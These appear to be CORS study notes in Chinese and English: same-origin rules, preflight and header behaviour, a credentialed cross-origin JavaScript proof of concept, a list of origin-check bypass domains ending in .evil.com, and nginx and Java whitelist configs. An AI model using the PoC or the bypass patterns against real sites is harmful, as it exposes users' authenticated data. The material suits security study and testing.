CORS攻击原理介绍和使用

Two websites are said to have same origin if both have following in common:
Scheme (http, https)
Host name (google.com, facebook.com, securelayer7.net)
Port number (80, 4567, 7777)
So, sites http://example.com and http://example.com/settings have same origin.
But https://example.com:4657 and http://example.com:8080/settings have different origins

(1) 请求方法是以下三种方法之一：
    HEAD
    GET
    POST
(2) HTTP的请求头信息不超出以下几种字段：
    Accept
    Accept-Language
    Content-Language
    Last-Event-ID
    Content-Type：只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

#Origin字段用来说明本次请求来自哪个源（协议 + 域名 + 端口），服务器根据这个值，决定是否同意这次请求。
GET /cors HTTP/1.1
Origin: http://api.bob.com  #判断是否存在CORS安全问题
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0

##请求
GET /cors HTTP/1.1
Host: api.alice.com
Origin: http://api.bob.com   #本次请求来自哪个源（协议 + 域名 + 端口),服务器根据此值进行判断
Connection: keep-alive
User-Agent: Mozilla/5.0...

##响应
Access-Control-Allow-Origin: http://api.bob.com   #请求时Origin字段的值或者是一个*（表示接受任意域名的请求）
Access-Control-Allow-Credentials: true    #布尔值，表示是否允许发送Cookie（默认是否的）|浏览器不同则不同（有人说第一次请求都会发生），其次看服务器是否接收；
Access-Control-Expose-Headers: FooBar     #CORS请求时，XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段，为了能拿到字段就要设置
Content-Type: text/html; charset=utf-8

xhr.withCredentials = true;  //浏览器不同可能在未设置为true默认会上传cookie

var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');  //自定义头信息
xhr.send();

# 预检请求  
OPTIONS /cors HTTP/1.1                   #"预检"请求用的请求方法是OPTIONS，表示这个请求是用来询问的
Origin: http://api.bob.com
Access-Control-Request-Method: PUT       #列出浏览器的CORS请求会用到哪些HTTP方法
Access-Control-Request-Headers: X-Custom-Header  #逗号分隔的字符串，指定浏览器CORS请求会额外发送的头信息字段
Host: api.alice.com
Connection: keep-alive
User-Agent: Mozilla/5.0...

#预检请求的回应
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com    #关键点,该字段也可以设为星号，表示同意任意跨源请求。
Access-Control-Allow-Methods: GET, POST, PUT       #关键点，它也是一个逗号分隔的字符串，表明服务器支持的所有头信息字段，不限于浏览器在"预检"中请求的字段。
Access-Control-Allow-Headers: X-Custom-Header      #关键点，它也是一个逗号分隔的字符串，表明服务器支持的所有头信息字段，不限于浏览器在"预检"中请求的字段。
Access-Control-Max-Age: 1728000                    #关键点，用来指定本次预检请求的有效期，单位为秒。上面结果中，有效期是20天（1728000秒）
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

#浏览器的正常请求和回应
PUT /cors HTTP/1.1
Origin: http://api.bob.com   #默认是浏览器自动添加的
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
    
#服务器正常的回应。
Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

Origin: foot.cors.org

Access-Control-Allow-Origin: *  
Access-Control-Allow-Credentials: true

function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.status == 200) {
    alert(this.responseText);
    document.getElementById("demo").innerHTML = this.responseText;
    }
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();

#特殊字符
,
&
'
"
;
!
$
^
*
(
)
+
=
`
~
-
_
=
|
{
}
%

#最终如下域名可以绕过
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com

location / {
    ... other config ...
    include enable-cors.conf;
}

#
# Wide-open CORS config for nginx
#

# allow origin list
set $ACAO 'http://www.test.com http://user.test.com';

# set single origin
if ($http_origin ~* ^https?://(www|user).test.com$) {
    set $ACAO $http_origin;
}

if ($request_method = 'OPTIONS') {
    add_header 'Access-Control-Allow-Origin' '$ACAO';
    #
    # Om nom nom cookies
    #
    add_header 'Access-Control-Allow-Credentials' 'true';
    add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
    #
    # Custom headers and headers various browsers *should* be OK with but aren't
    #
    add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
    #
    # Tell client that this pre-flight info is valid for 20 days
    #
    add_header 'Access-Control-Max-Age' 1728000;
    add_header 'Content-Type' 'text/plain charset=UTF-8';
    add_header 'Content-Length' 0;
    return 204;
}
if ($request_method = 'POST') {
    add_header 'Access-Control-Allow-Origin' '$ACAO';
    add_header 'Access-Control-Allow-Credentials' 'true';
    add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
    add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
}
if ($request_method = 'GET') {
    add_header 'Access-Control-Allow-Origin' '$ACAO';
    add_header 'Access-Control-Allow-Credentials' 'true';
    add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
    add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
}

//跨域域名设置
public static final String[] ALLOW_DOMAIN = { "http://localhost:8000","http://192.168.0.100" };

HttpServletRequest req = (HttpServletRequest) request; 
HttpServletResponse res = (HttpServletResponse) response; 
String originHeader = req.getHeader("Origin"); 
if (Arrays.asList(Constants.ALLOW_DOMAIN).contains(originHeader)) 
{ 
    res.setHeader("Access-Control-Allow-Origin", originHeader);
    res.setHeader("Allow", "*"); 
    res.setHeader("Access-Control-Allow-Methods", "POST, GET, PUT, DELETE, OPTIONS"); 
    res.setHeader("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept, Referer, User-Agent, Authorization, X-Auth-Token");           
    res.setHeader("Access-Control-Max-Age", "3600"); 
    // 接收跨域的cookie 
    res.setHeader("Access-Control-Allow-Credentials", "true"); 
    if ("IE".equals(req.getParameter("type"))) 
    { 
        ((HttpServletResponse) response).setHeader( "XDomainRequestAllowed", "1"); 
    } 
    
    if (req.getMethod().toLowerCase().equals("options")) 
    { 
        res.setHeader("Content-type", "text/html"); 
        res.getWriter().write("options OK"); 
        return; 
    }
}